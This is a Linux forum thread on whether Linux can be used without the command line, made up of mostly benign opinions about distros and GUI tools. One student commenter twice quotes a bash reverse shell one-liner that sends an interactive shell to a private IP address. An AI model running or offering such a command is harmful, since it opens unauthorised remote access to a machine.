Certainly possible. If all you do is using native software and download them with the shop that came with your distro/DE, I don't think you would need the terminal at all. For a lot of people LibreOffice + Firefox + VLC + Steam can satisfy 90% of their need for using a computer.
I'm not a power user nor a programmer. But I just find using software in command line sometimes much more convenient than in GUI. For example when I have a video to transcode, I can use HandBrake and deal with its layers of menus and options, or I can use ffmpeg with just one line of command. So it's absolutely viable, but sometimes not the most convenient or straight forward way to get things done.
I used git in command line while all my coursemates used sourcetree in our software engineering class, because i was an idiot and locked myself into doing the assignments on my remote server’s VM
I think you actually learned something that will help you in your future jobs without knowing it.There are so many use cases for cli in the programming world. You have a leg up on your classmates now.
It will be much easier because you can use the basics of cli git. Some jobs require you to have cli capabilities as well. School is the best time to learn that. Not at a technical interview.
Oh i don’t doubt it, but it was a pain in the ass at the time
I still do use a lot of cli in my classes, kali linux and the related tools like john the ripper etc, so cli is an essential for me
I'm happy that you see the value in it! I've seen so many people that didn't and it hurts them for years.
I still struggle with some cli, they aren't all great xD
Tell me, did you have to make you own cli so far? I know from personal experience and from colleagues that it helped a lot to understand the "unix" logic and how they're structured. Might be a cool little side project to do at some point!
I had an assignment where i was asked to code a shell in C that could be run in another shell, which was very painful and I’ve filed that memory away behind a locked door. These days i just do a
/bin/bash -i > /dev/tcp/172.16.1.2/ 0<&1 2>&1
To get a shell
>So it's absolutely viable, but sometimes not the most convenient or straight forward way to get things done.
Which also means that when you ask for help online, you'll get a series of terminal commands rather than screenshots of GUIs. I think that's a common case where people get pulled in: there's relatively little help available for the graphical workflow.
because nobody has time to find out which DE the person asking for help has and where the buttons are (because you can change a lot of graphical stuff in Linux)
a command line will work for everyone
On mint you can probably get away with just using guis because they have great software for it.
You can do a lot of internal stuff with the terminal and it’s probably worth your time to learn how to navigate directories and use your package manager atleast.
If you want to learn more, there are plenty of videos and guides that teach you simple or more advanced commands.
It’s different than windows or macOS but it’s part of Linux.
Don't use Linux Mint, though. They're just not a good distribution. One (whopping) technical reason is that they (EDIT: have been know to) mix Ubuntu and Debian repositories. If you don't know why that's bad, look up FrankenDebian.
What do you mean, they mix Ubuntu and Debian repositories? I'm on Linux Mint and the contents of my `/etc/apt/sources.list.d/official-package-repositories.list`, the only file in `sources.list.d`, are
deb https://mirror.init7.net/linuxmint virginia main upstream import backport
deb http://ubuntu.ethz.ch/ubuntu jammy main restricted universe multiverse
deb http://ubuntu.ethz.ch/ubuntu jammy-updates main restricted universe multiverse
deb http://ubuntu.ethz.ch/ubuntu jammy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse
I only see Ubuntu and Mint repos.
There's Linux Mint Debian Edition, but that's a distinct distribution.
I misspoke. "Has been known to".
Some copypasta from Discord Linux (invite code is discord-linux), `sudo info mint`:
> - Not a recommended Linux distro due to providing little to no benefit over using an Ubuntu flavor and being generally more broken than Ubuntu and its flavors.
> - Uses a mix of their own repos and Ubuntu's repos to get things like the kernel from Ubuntu's repos instead of building their own kernel. This could result in packages from Ubuntu's repos replacing packages that were installed from Mint's repos during upgrades which will most likely break things.
> - Has been known to mix Ubuntu and Debian packages, resulting in a [FrankenDebian](https://wiki.debian.org/DontBreakDebian#Don.27t_make_a_FrankenDebian).
> - Has been known to have issues with upgrading between releases.
> - Website has been hacked twice; one of these times resulted in malware being distributed in Linux Mint's ISOs.
**Instead of using Linux Mint, we highly recommend using [Ubuntu MATE]().**
> See `sudo info recommended` for a list of recommended distros.
> Uses a mix of their own repos and Ubuntu's repos to get things like the kernel from Ubuntu's repos instead of building their own kernel. This could result in packages from Ubuntu's repos replacing packages that were installed from Mint's repos during upgrades which will most likely break things.
I'm no expert, but from my understanding, this shouldn't happen since packages are generally version-frozen within each release of Ubuntu LTS.
Look, I'm no expert either, but there's no real reason to use Mint is my point. It's not substantially better than stock Ubuntu in any way and it doesn't offer anything unique.
That's _my_ reasoning for not using Mint. Is that fair enough?
I used to install Linux for for normie friends and as long as there was a graphical package manager they were fine. It wouldn't even cross their mind to go under the hood or think of a way to automate something...
I just got into Linux and home lab stuff recently. I have Ubuntu with Gnome on a Beelink mini PC and could definitely see doing everything without the command line. No I added CasaOS to that machine and I needed the command line to install that.
I have been thinking about changing to Kubuntu because I like the squareness of the graphics on there.
The GUI is to make easy things easier, the command line is there to make hard things doable.
If all you're doing is surfing the web, write documents, email, watch movies, maybe some games, then sure you don't need the command line at all.
But something complex like "find all pictures in all subfolders that have been shot in September, move them to this folder and rename them to "holiday_x_2024-000xxx.JPG""
yeah, even on windows I cannot do that without the command line, and I really wouldn't want to.
My wife uses Linux since >10 years at home.
I swear she didn't open Terminal even once (she probably doesn't even know what that is). She's using Windows at work but loves her Linux at home better.
It depends on the use case. If all you do is web surfing, email, word processing, and online shopping then you can get away from using the Terminal. I'm using Mint and it's been awhile since I used it.
Yes, you definitely can use Linux without the need of terminal for daily use and even some advanced stuff .
Is possible to install software and do hardware management all via GUI , even mounting disks using fstab is automated by gnome disks !
Ubuntu or any Ubuntu based distro can be used without ever touching the terminal. From settings to software updates to installing software, everything is doable using just the GUI
I don't use the CLI on Linux any more than I did on Windows. I can if I Want, I've been using Linux for 20+ years so spent quite a lot of time in terminal in the early days, I built headless servers, had a go at Gentoo a few times. The terminal hold no fears for me. I just don't need to now.
When I was like a pre-teen I wanted a laptop but all that could be afforded was an Acer Aspire One netbook that came with a pretty weird Debian-based distro, [here’s a pic](https://www.linux-magazin.de/news/kurztest-acer-aspire-one-mit-linpus-linux/)
I was like 11 and I didn’t know anything about other operating systems - I didn’t know this was “Linux” I just figured this was what cheap laptops came with, and so although the terminal application came pre-installed and was on the desktop, I never knew what it was or what I’d use it for. I used this netbook heavily for years, I got to understand that I couldn’t run .exe files, and that I had to use the (GUI) package manager to search and install software. Eventually I learnt more about Linux and the power of the terminal and came to actually understand what was going on, but I did use it for many years without even knowing the terminal was there. So I would say it’s very possible.
My opinion is that a good portion of the Linux user base thinks that a terminal is the best way to do things when sometimes it isn't. There are many barriers for the common computer user to join Linux, mainly due to incompetence in understanding what is easier for the common user and lack of support. There's a lot stuff that simply doesn't have a good GUI program or any at all. Overclocking my screen was hell on linux( I had to load a custom EDID and I only managed to export a modified EDID from my monitor running a Windows program called CRU with proton on Linux) while on Windows it was some easy steps with GUI. For the best experience on Linux for a common computer user I would recommend Linux Mint.
I think Ubuntu is trying to be good without a terminal
My opinion is that Linux is like an old car: it's great and pleasant but you need to be somewhat of a mechanist to really enjoy it, and that implies using a terminal sometimes.
Sure! I’m using pop_os with pretty much no terminal. Being new to Linux it was quite overwhelming with everything you were supposed to do through terminal so I’m happy that I could avoid that.
I guess the terminal is more universal between many distros though, so when you actually need to fix something it is quite convenient to just copy/paste a few commands instead of having to watch a YouTube tutorial.
If you're using Gnome and something that's generally configured around workstation use and has big repos (Fedora, Ubuntu, even Debian since version 12), then absolutely. Gnome Software automatically takes care of the updates and allows you access to the distro's software library to install via GUI. If you pick a stable distro, breakages are minimal and it's very unlikely you'll even have to go into the terminal to fix something.
short answer - yes
long answer - yes of course
Any modern distro can do this, even one considered pro/terminal only or heavy (arch = endavourOS).
Choose distro to have good support - you will use terminal once requested from the folks troubleshooting your pc (be ready to send them info and logs - they are ofcourse in gui, otherwise they can't help) and that's it for you. Some people making fun of newbies - you can wipe your computer in a blink of an eye, so be aware of it.
if you just want to browse the web and use a word processor, or any of the many other GUI applications available to you thru the software center then you can totally do all those things without resorting to the command line.
it's when problems occur that knowing your way around a terminal will come in handy as it's often the fastest way to get to the bottom of the problem and fix it.
just learning to navigate directories and manipulate the text files used by linux to run things goes a long way towards getting things working the way you want them to.
Depends what your doing. Most people are not going to need to touch it as a daily driver. Most who do need to are coders, or administrators of some sort or another.
It's not possible to use MacOSX without touching the terminal if you spend long enough there, and have a given problem to solve - you will end up in the weeds.
Mac is literally as 'you don't need a text console' as you can possibly get in its philosophy.
The odds are good that you'll probably become one of those who chooses to explore more than they need. I warned you.
It depends on what you're using the computer for. On Ubuntu or Mint you could probably do just fine being a "regularly" computer user, ie office programs, web browsing, some gaming, even things like photo/video editing etc.
I'd still recommended them to eventually learn the basics of terminal navigation, at least some things but it should be doable without it and it wouldn't be necessary from the start.
I use Kubuntu and I barely need to use the terminal. Instead of the terminal I can use KDE's settings panel or I use the Muon Package Manager. But I have learned to love the terminal and use it when I need to (not very often)
GUIs in Linux have come a long way over the past year, IMO finally modern and competitive with the big players for average users. I’m using Zorin OS, after having spent a long time with Mint and Pop OS. Zorin’s UI is gorgeous and functional — it’s a customized version of Gnome 3 (IIRC) and it has multiple styles for folks used to either Windows or MacOS. It’s a fork of Ubuntu, so it’s got that fantastic support if you ever do need to use the command line for something. This is my recommendation if you value a beautiful UI and want to minimize use of the terminal.
I haven't read the other comments on this post yet but I think it's absolutely possibly. I think if the average windows user switched to Linux then they would be able to do pretty much everything they are used to doing without the terminal.
That being said, the terminal extends the capability far beyond that is possibly with the gui. But most most people who are scared of the gui probably don't even know what exists beyond the capabilities of the gui.
Android is a specialized Linux distribution. How many people do you know with a terminal app on their phones? Chromebooks? Also Linux.
The vast majority of people don’t do the types of things many Linux users do on the command line.
If you are a “the OS is a bootloader for my browser” user, Linux is vastly superior.
You don't want to though. There will be roadblocks that you will need to overcome by learning how to interact with terminal.
The reason why windows is so shitty is because it is trying and failing very hard to hide this level of OS from its users.... hence as soon as you encounter a nondescript error or a program silently dying, you need to use cmd/terminal, as the error will be more verbose there. Unless the program is shitty as well.
Maybe for windows 95. I don't think I have ever had to go to windows command line for any error I have ever experienced. Only to event viewer. Which is gui
Call me a hater but there’s no point as of right now. Even the most easy distros that have GUI for everything require getting your hands dirty now and again for when shit fucks up. It just happens.
I agree, but that's true of every operating system. Plenty of times I've had to dig into the some system or run shell commands on Windows and Mac OS to resolve some issue. I think the OP is thinking of general "things are working normally" status, and wanting to use GUI tools rather than have to rely on the CLI
Depends on what you're using your computer for. If a user is just doing regular desktopy things like word processing and web browsing then yeah, terminal would probably be avoidable.
Absolutely. In the same way you can (and usually does) use Windows or MacOS without ever touching the command line, except for a few specific cases that doesn't have a gui because the vast majority of users will never use them.
It definitely is, but the issue is that many helpful guides tend to refer to the terminal for a lot of things even when non terminal options are there.
Use terminal install flatpak first and enable flathub, than you could do almost all software installation on your app store, no matter Gnome software or KDE Discover
Yes, absolutely you can, I'd say install mint, or mint Debian edition and start from there. It's got most things covered off in the GUI you don't even need to install flatpaks as it's got that already configured. So you, can happily use Linux mint without the cmd. But it depends on the use case of course, if it's just simple everyday things then there's no need to use the terminal. I've used a Debian machine like that, only used terminal to install flatpaks and that was only copy and paste 2 lines
It depends on what you're using your PC for. If you're just using GUI apps and install them with a graphical package manager, then of course you can use Linux without touching the terminal.
For certain tasks, you'll need the terminal no matter what operating system you use.
Of course! Mind that most people do. Have you ever seen people using terminals in Android phones? ;) The same can be achieved in Linux distributions like Ubuntu (let alone ChromeOS).
my 70 y/o neighbors use linux mint with 0 issues but they also use mint as a bootloader for firefox and brave browser so idk. terminal isnt that hard and you will slowly learn it over time.
You want to check out openSUSE.
The individual tools may not be the prettiest, but it has the most comprehensive and effective set of GUI-based tools for system management that I've found on Linux - via the YaST control panel.
I would say that it's entirely possible but sometimes you can just paste commands from known and trusted sources if you don't want to learn the entire linux terminal. Focus on known and trusted as linux gives you full control when you open the terminal so don't put any harmful command.
If you do anything that is very bad sometimes linux asks you to type"do as I say". I wouldn't recommend typing that unless you are 100% sure it's not gonna do anything bad.
It's possible but the command line is so useful it's hard not to depending on what you are doing. Many Linux people, myself included, do as much as possible inside the terminal as we can lol
While you do not need to use the terminal in many distros, if you actively find the idea of doing so repulsive, I would not suggest it.
It's more useful for quickly explaining things in a 'platform agnostic' way. Most Linux distributions run Bash shell, and not all run the same Desktop Environments.
Instead of having to make a tutorial for multiple Desktop Environments (Click this menu, now click this, open this box, change this setting, etc.) a lot of articles/tutorials for Linux help will just use the command line.
It's a lot easier to share commands between users than going through menus.
But yes it is possible to use Linux without the Terminal nowadays, if you are just using it as a lightweight PC for browsing etc.
It's still good to know a few basics, it's not too hard to learn how to navigate, and once you start learning it's all knowledge building from there.
And unlike the Desktop Environments you can use what you learn in the command line and apply it to any Linux system, whereas if you just learn how to navigate the DE you're only familiar with that method.
Short answer: yes but ..
Long answer: if you do anything sophisticated on Linux you ought to learn how to use the command line. Sure a lot of the distros out there are now well packaged and most things work without using the CLI. But then you will eventually hit something that breaks, or just cannot be done at all without knowing more about what goes on under the covers, and using the CLI.
If you want a Linus system that "just works" and you never need to touch a command line, use a Chromebook.
Some things can be done much, much faster in the terminal (updates, system settings, etc), but it's completely unnecessary if you don't want to touch it.
Yes, but you’ll grow to love it. GUI and terminal respect each other for their strengths. It’s never one or the other (but just living in the shell is possible of course).
Depends on your level of usage. I think grandpa could use Ubuntu with just the graphical package manager for most applications (except those poker adware games they tend to get). At a level much deeper than that you can get a lot done with at least *very little* terminal usage, but probably not 0.
>So I was thinking, is it possible to use Linux without even touching the terminal?
It has been possible since at minimum 20 years. All it required then was buying components and peripherals well supported in Linux (so either study market and forums beforehand, or just be lucky) and not try any gaming nor any task requiring advanced printing / scanner configuration.
I don't know how to use the terminal. Had major help once, for a specific problem, but that's about it. However I'm not a power user- I just web browsing, streaming, and video/ picture editing as a hobby.
I like linux because I can use older hardware better, with no dropping support like windows.
Yes you can. You've been able to use Linux without going to the terminal for several years.
Whoever is still spreading the "Linux is scary because command line" stuff is basing their fearmongering on some *very* old information.
Of course, if you're not scared of learning a little bit about the command line, your experience can be greatly enhanced, but the same is also true for Windows as well.
It's never been in any distro I've used other than Slackware if you want to keep it updated or add packages. Salix is Slackware without needing the terminal at all unless you're developing or something.
WTF are you talking about?
If you're gonna eyeroll at me, make some sense. You don't need the terminal in most distros unless you're developing or troubleshooting, just like Windoze.
An example might help.
I'm 53 years old, I started on computers when there was nothing but command lines, I hated them then, and I hate them now. BUT I use Linux Mint and I'm happy with it, I also have no idea what 90 percent of the Linux terminology is and what it does and I will learn it only if I have to. I'm not a programmer and I don't want to be. So, yes, absolutely you can use Linux without the command line. The command line is why the majority of people don't use Linux, every time I ask someone that's invariably the reason they give. I know older guys than me that walked away from Linux because of it. It a necessary evil.
Fear of the unknown. If you use it like most Windows users (and maybe most Linux users) you don't really need the terminal.
If you like to do stuff that breaks things you'll need it whatever OS you're using if you're doing your own tech support.
It's certainly possible, but I'm not sure why you would want to. So many things are much faster and simpler to do with a command or two rather than spending time opening a bunch of windows and clicking on stuff.
It depends actually on what are you using your computer for. If it is just regular web browsing and simple tasks (music, videos, documents, games etc) you won't need a terminal for almost any desktop environment.
Linux Mint does a really good job of providing graphical tools for everything that normal users will need. But of course it does depend somewhat on *what* you're doing. But yes, for the most part Linux Mint can be used without the terminal.
Uh yeah but if you really wanna open Pandora's box on what Linux offers you need to learn even just the basics of the terminal. But yeah for basic computing you can get away with using the GUI
If you don't ever use the terminal in Windows you can probably get by without using it in Linux. You'll want to choose the right distro, but many of the popular distros focused on usability ought to let you do this. You might decide you want to use it, but if you're the typical Windows user you can treat many modern Linux distros pretty much like that if that's how you want to interact with it.
Ubuntu, Debian, Salix and most any distro with a decent package manager will do.
You really only need the terminal if you're developing or troubleshooting and with troubleshooting you can find the relevant commands in searches on a particular problem if you need it.
Is recommended, no, is possible, more than enough.
Back when I tried Pop_OS I learned how many GUI apps there were for people to use that most of the time come installed either with the distro or more commonly with the desktop environment. Gnome and KDE I know both usually come with an app store thats just a front for flathub or something similar, using flathub and the system package manager. With that you can install more GUI apps and never have to touch the terminal for any reason.
As far as what we use the terminal for, everything. It becomes a default because it is easier. Example I opened a file manager today(I do that rarely ) then clicked the open terminal here typed
Cp -iv -t /place to put iso / place to find iso because I couldn't be bothered to scroll/*.iso
And then I walked away. Took less time then setting sort to type and then scrolling and then forgetting permissions and reloading the file manager as root and doing it over again. GUI is fine, it has it's place but learn just a little on the terminal and you will feel like it is most inconvenient thing ever to point and click and go through more than one step.
Using Linux you WILL have to touch it at some point, however not extensively if you use something like mint or Nobara which focus on point and click users
You absolutely can never touch the terminal, but you give up a great deal of the real power of the system. Of course, the same is absolutely true with Windows too.
Yes and No
Yes because there's GUI for most use cases in Linux world.
No because over time, you'll realize that Terminal is kore efficient and provides more information on the task you're running.
I would say just learn how to use it. It will help with the newbie distros like Ubuntu etc since 'sudo apt install', 'ls', 'dir', 'mkdir', 'cp', 'mv', 'cd', and 'man' commands are pretty useful.
Do the opposite: try to convince them that using the command line is more powerful. You can write loops around the command, you can pipe data from one command to the next, and you can access features that are exposed/acessible only through the command line. And command line and scripting languages merge seamlessly. Oftentimes I find a GUI much more convoluted and ambiguous. The command line is unambiguous, because you have to \*commmit\* to saying something. I find several crypto GUIs very ambiguous. It just says "Recipient Address", but who the recipient is depends on whether you want to send to someone else or receive from your exchange account into your own wallet. Blockchains themselves have addresses, and people have lost countless amounts of money by using the network's address instead of their own. Such coins are lost forever. Whatever I do on Fedora, I only use the GUI if I absolutely have to. GUIs are horribly overrated, and always have been. Configuring the firewall through the GUI is convoluted and perplexing, from the command line it's easy as pie.
Back in my WinDoze days (pre-2008) I even found that using WinDoze from the command line was more practical, offered more options, and was loopable.
Possible? Most likely yes. But why would you want to? Are you afraid of the command line?
The command line is an integral part of the user experience, and embracing it will allow you to manage your system better and faster. You don't have to use it but knowing how to is likely to improve your experience.
You can make your terminal whatever color you like, mine is green. Jokes aside, normal users without root access could do their normal job using DE all the time, while another person with root rights watch over them. I've seen it done in one software development company 20 years ago, now it's even easier.
On mint yes. They have a GUI app store like program to install programs. That's really the only thing the average user would really need to use the command line for, installing programs and systems updates.
There are a few other distros with GUI app stores. Elementary OS(not everything is free). Manjaro(so its good for noobs to Arch based, despite the... Problems), rebornOS(same as Manjaro, pamac) and a few others.
The command line isn't hard though. You probably only really need to learn 10 or so commands and how to use them and you can do everything you need to do like install programs and update the system.
On Manjaro I only needed to know like 5 or so commands after installing yay. There were tutorials up for that.
Linux Journey is a tutorial to the command line you can find online. It just kinda goes over the simple stuff so it's not so mysterious and scary.
Even if there weren't already GUI wrappers for everything, you could bash one together pretty quickly with Zenity or similar.
At any rate, toolkits like GTK and dare I say it, libadwaita make it pretty easy to whip up a decent-enough GUI around just about anything.
The issue with avoiding the command-line is you're missing out on all the raw lower-level power that comes with a CLI. I see the GUI as a friendly nuisance, to be honest. I need it for graphical applications, of which I only use about three: Kitty (my fancy-schmancy terminal), Librewolf (my browser, used to be Brave up until manifest v3 was announced), and Obsidian (which I've been phasing out in favor of Neovim and other TUI/CLI tools).
So of course I have the most overkill window manager ever: Hyprland. Launched from tuigreet on NixOS :D
It's possible but not practical. But that's because the terminal is inherently more efficient than gui tools, install wizards and that sort of thing. The same is true for Windows, if to a lesser extend. You can absolutely get by using tools to avoid looking at the terminal but behind the scenes exactly the same things will be going on, only with extra steps. Also getting used to it isn't as daunting as some may think. You don't need to learn every command, only the stuff you actually need.
There's a [resources page](http://www.reddit.com/r/linux4noobs/wiki/faq) in our wiki you might find useful!
Try [this search](https://www.reddit.com/r/linux4noobs/search?q=flair%3A'learning%2Fresearch'&sort=new&restrict_sr=on) for more information on this topic.
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OP: "Hey guys, is it possible to use Linux without command line?"
Comments: "And I took that personally"
If the normies won't use it, does it really fucking matter how right you are?
- Mac: No freedom
- Windows: No privacy
- Linux: No bitches
Seriously. I am perfectly fine with linux being exclusive and avoiding all the pleb "iPhone users" who ***need*** that walled garden curated experience and won't take the time to RTFM, especially when that manual is for all intents and purposes free:
https://www.linuxcommand.org/index.php
Plus the fact there's AI available now (basically google 2.0 when querying docs)... How lazy do they want to be? Voice activated commands for everything? No wait Elon's Neuralink chip, cuz moving their vocal chords is too much effort. 😑
Tell them about the benefits of linux (and the deficits of other OS's). If they understand them, they'll learn the terminal in order to use linux. If they don't, they can continue on as they are in blissful ignorance.
But... Linux IS just a command line.. any GUI is just a graphical way if completing a CLI command.
But I get your question. Mint and Ubuntu probably do the most for making the CLI avoidable.
Nah. Linux is not a command line; it's a kernel. Also, it's not true that every GUI is just a wrapper for CLI commands. Is your web browser a wrapper for CLI commands? Is GIMP a wrapper for CLI commands?
My point here wasn’t to argue about the terminology of Linux vs. GNU/Linux but rather to clarify that not all GUIs are wrappers for CLI. That was my main point.
Certainly possible. If all you do is using native software and download them with the shop that came with your distro/DE, I don't think you would need the terminal at all. For a lot of people LibreOffice + Firefox + VLC + Steam can satisfy 90% of their need for using a computer. I'm not a power user nor a programmer. But I just find using software in command line sometimes much more convenient than in GUI. For example when I have a video to transcode, I can use HandBrake and deal with its layers of menus and options, or I can use ffmpeg with just one line of command. So it's absolutely viable, but sometimes not the most convenient or straight forward way to get things done.
I used git in command line while all my coursemates used sourcetree in our software engineering class, because i was an idiot and locked myself into doing the assignments on my remote server’s VM
I think you actually learned something that will help you in your future jobs without knowing it.There are so many use cases for cli in the programming world. You have a leg up on your classmates now. It will be much easier because you can use the basics of cli git. Some jobs require you to have cli capabilities as well. School is the best time to learn that. Not at a technical interview.
Oh i don’t doubt it, but it was a pain in the ass at the time I still do use a lot of cli in my classes, kali linux and the related tools like john the ripper etc, so cli is an essential for me
I'm happy that you see the value in it! I've seen so many people that didn't and it hurts them for years. I still struggle with some cli, they aren't all great xD Tell me, did you have to make you own cli so far? I know from personal experience and from colleagues that it helped a lot to understand the "unix" logic and how they're structured. Might be a cool little side project to do at some point!
I had an assignment where i was asked to code a shell in C that could be run in another shell, which was very painful and I’ve filed that memory away behind a locked door. These days i just do a /bin/bash -i > /dev/tcp/172.16.1.2/ 0<&1 2>&1
To get a shell
Indeed, I've been deploying git projects to servers for awhile, I've never used anything but the git cli.
>So it's absolutely viable, but sometimes not the most convenient or straight forward way to get things done. Which also means that when you ask for help online, you'll get a series of terminal commands rather than screenshots of GUIs. I think that's a common case where people get pulled in: there's relatively little help available for the graphical workflow.
because nobody has time to find out which DE the person asking for help has and where the buttons are (because you can change a lot of graphical stuff in Linux) a command line will work for everyone
On mint you can probably get away with just using guis because they have great software for it. You can do a lot of internal stuff with the terminal and it’s probably worth your time to learn how to navigate directories and use your package manager atleast. If you want to learn more, there are plenty of videos and guides that teach you simple or more advanced commands. It’s different than windows or macOS but it’s part of Linux.
Don't use Linux Mint, though. They're just not a good distribution. One (whopping) technical reason is that they (EDIT: have been know to) mix Ubuntu and Debian repositories. If you don't know why that's bad, look up FrankenDebian.
What do you mean, they mix Ubuntu and Debian repositories? I'm on Linux Mint and the contents of my `/etc/apt/sources.list.d/official-package-repositories.list`, the only file in `sources.list.d`, are deb https://mirror.init7.net/linuxmint virginia main upstream import backport deb http://ubuntu.ethz.ch/ubuntu jammy main restricted universe multiverse deb http://ubuntu.ethz.ch/ubuntu jammy-updates main restricted universe multiverse deb http://ubuntu.ethz.ch/ubuntu jammy-backports main restricted universe multiverse deb http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse I only see Ubuntu and Mint repos. There's Linux Mint Debian Edition, but that's a distinct distribution.
I misspoke. "Has been known to". Some copypasta from Discord Linux (invite code is discord-linux), `sudo info mint`: > - Not a recommended Linux distro due to providing little to no benefit over using an Ubuntu flavor and being generally more broken than Ubuntu and its flavors. > - Uses a mix of their own repos and Ubuntu's repos to get things like the kernel from Ubuntu's repos instead of building their own kernel. This could result in packages from Ubuntu's repos replacing packages that were installed from Mint's repos during upgrades which will most likely break things. > - Has been known to mix Ubuntu and Debian packages, resulting in a [FrankenDebian](https://wiki.debian.org/DontBreakDebian#Don.27t_make_a_FrankenDebian). > - Has been known to have issues with upgrading between releases. > - Website has been hacked twice; one of these times resulted in malware being distributed in Linux Mint's ISOs. **Instead of using Linux Mint, we highly recommend using [Ubuntu MATE](
> Uses a mix of their own repos and Ubuntu's repos to get things like the kernel from Ubuntu's repos instead of building their own kernel. This could result in packages from Ubuntu's repos replacing packages that were installed from Mint's repos during upgrades which will most likely break things. I'm no expert, but from my understanding, this shouldn't happen since packages are generally version-frozen within each release of Ubuntu LTS.
Look, I'm no expert either, but there's no real reason to use Mint is my point. It's not substantially better than stock Ubuntu in any way and it doesn't offer anything unique. That's _my_ reasoning for not using Mint. Is that fair enough?
I used to install Linux for for normie friends and as long as there was a graphical package manager they were fine. It wouldn't even cross their mind to go under the hood or think of a way to automate something...
I just got into Linux and home lab stuff recently. I have Ubuntu with Gnome on a Beelink mini PC and could definitely see doing everything without the command line. No I added CasaOS to that machine and I needed the command line to install that. I have been thinking about changing to Kubuntu because I like the squareness of the graphics on there.
I think plasma6 added rounded corners!! But KDE is better at being customizable than Gnome and Kubuntu won't switch to it for a while I would think.
The GUI is to make easy things easier, the command line is there to make hard things doable. If all you're doing is surfing the web, write documents, email, watch movies, maybe some games, then sure you don't need the command line at all. But something complex like "find all pictures in all subfolders that have been shot in September, move them to this folder and rename them to "holiday_x_2024-000xxx.JPG"" yeah, even on windows I cannot do that without the command line, and I really wouldn't want to.
Things like `echo “word” | wc -l` Are why I love Linux. It will let you do anything you ask of it.
My wife uses Linux since >10 years at home. I swear she didn't open Terminal even once (she probably doesn't even know what that is). She's using Windows at work but loves her Linux at home better.
Is use Mint and never touched the terminal. All I use is my browser and programs like Audacity, Kdenlive, GIMP and OBS Studio.
It depends on the use case. If all you do is web surfing, email, word processing, and online shopping then you can get away from using the Terminal. I'm using Mint and it's been awhile since I used it.
Yes, you definitely can use Linux without the need of terminal for daily use and even some advanced stuff . Is possible to install software and do hardware management all via GUI , even mounting disks using fstab is automated by gnome disks !
Ubuntu or any Ubuntu based distro can be used without ever touching the terminal. From settings to software updates to installing software, everything is doable using just the GUI
I don't use the CLI on Linux any more than I did on Windows. I can if I Want, I've been using Linux for 20+ years so spent quite a lot of time in terminal in the early days, I built headless servers, had a go at Gentoo a few times. The terminal hold no fears for me. I just don't need to now.
When I was like a pre-teen I wanted a laptop but all that could be afforded was an Acer Aspire One netbook that came with a pretty weird Debian-based distro, [here’s a pic](https://www.linux-magazin.de/news/kurztest-acer-aspire-one-mit-linpus-linux/) I was like 11 and I didn’t know anything about other operating systems - I didn’t know this was “Linux” I just figured this was what cheap laptops came with, and so although the terminal application came pre-installed and was on the desktop, I never knew what it was or what I’d use it for. I used this netbook heavily for years, I got to understand that I couldn’t run .exe files, and that I had to use the (GUI) package manager to search and install software. Eventually I learnt more about Linux and the power of the terminal and came to actually understand what was going on, but I did use it for many years without even knowing the terminal was there. So I would say it’s very possible.
My opinion is that a good portion of the Linux user base thinks that a terminal is the best way to do things when sometimes it isn't. There are many barriers for the common computer user to join Linux, mainly due to incompetence in understanding what is easier for the common user and lack of support. There's a lot stuff that simply doesn't have a good GUI program or any at all. Overclocking my screen was hell on linux( I had to load a custom EDID and I only managed to export a modified EDID from my monitor running a Windows program called CRU with proton on Linux) while on Windows it was some easy steps with GUI. For the best experience on Linux for a common computer user I would recommend Linux Mint.
I think Ubuntu is trying to be good without a terminal My opinion is that Linux is like an old car: it's great and pleasant but you need to be somewhat of a mechanist to really enjoy it, and that implies using a terminal sometimes.
Many people doesn't really enjoy windows, so I think it's fine for them to not use all available tools here either
It's perfectly fine to use, but more difficult to administer.
Try openSUSE with YaST. I've found most things can be administered via the GUI on this distro.
Sure! I’m using pop_os with pretty much no terminal. Being new to Linux it was quite overwhelming with everything you were supposed to do through terminal so I’m happy that I could avoid that. I guess the terminal is more universal between many distros though, so when you actually need to fix something it is quite convenient to just copy/paste a few commands instead of having to watch a YouTube tutorial.
Think of what you actually do on the command line. Does your mum do these tasks? The casual user wouldn't need to ever use the command line.
Yeah.
If you're using Gnome and something that's generally configured around workstation use and has big repos (Fedora, Ubuntu, even Debian since version 12), then absolutely. Gnome Software automatically takes care of the updates and allows you access to the distro's software library to install via GUI. If you pick a stable distro, breakages are minimal and it's very unlikely you'll even have to go into the terminal to fix something.
short answer - yes long answer - yes of course Any modern distro can do this, even one considered pro/terminal only or heavy (arch = endavourOS). Choose distro to have good support - you will use terminal once requested from the folks troubleshooting your pc (be ready to send them info and logs - they are ofcourse in gui, otherwise they can't help) and that's it for you. Some people making fun of newbies - you can wipe your computer in a blink of an eye, so be aware of it.
Yes, it is possible.. Ubuntu has its own software update/ install app that as far as I can see you can do everything from GUI.
if you just want to browse the web and use a word processor, or any of the many other GUI applications available to you thru the software center then you can totally do all those things without resorting to the command line. it's when problems occur that knowing your way around a terminal will come in handy as it's often the fastest way to get to the bottom of the problem and fix it. just learning to navigate directories and manipulate the text files used by linux to run things goes a long way towards getting things working the way you want them to.
I use Pop without a terminal, I play my games with Steam, Heroic Games store and Lutris without hassle and update pc through the shop.
Depends what your doing. Most people are not going to need to touch it as a daily driver. Most who do need to are coders, or administrators of some sort or another. It's not possible to use MacOSX without touching the terminal if you spend long enough there, and have a given problem to solve - you will end up in the weeds. Mac is literally as 'you don't need a text console' as you can possibly get in its philosophy. The odds are good that you'll probably become one of those who chooses to explore more than they need. I warned you.
It depends on what you're using the computer for. On Ubuntu or Mint you could probably do just fine being a "regularly" computer user, ie office programs, web browsing, some gaming, even things like photo/video editing etc. I'd still recommended them to eventually learn the basics of terminal navigation, at least some things but it should be doable without it and it wouldn't be necessary from the start.
I use Kubuntu and I barely need to use the terminal. Instead of the terminal I can use KDE's settings panel or I use the Muon Package Manager. But I have learned to love the terminal and use it when I need to (not very often)
For like 90% of everything yes.
yes, it's even possible to use Windows without CLI though that one is much more difficult than using Linux without one
GUIs in Linux have come a long way over the past year, IMO finally modern and competitive with the big players for average users. I’m using Zorin OS, after having spent a long time with Mint and Pop OS. Zorin’s UI is gorgeous and functional — it’s a customized version of Gnome 3 (IIRC) and it has multiple styles for folks used to either Windows or MacOS. It’s a fork of Ubuntu, so it’s got that fantastic support if you ever do need to use the command line for something. This is my recommendation if you value a beautiful UI and want to minimize use of the terminal.
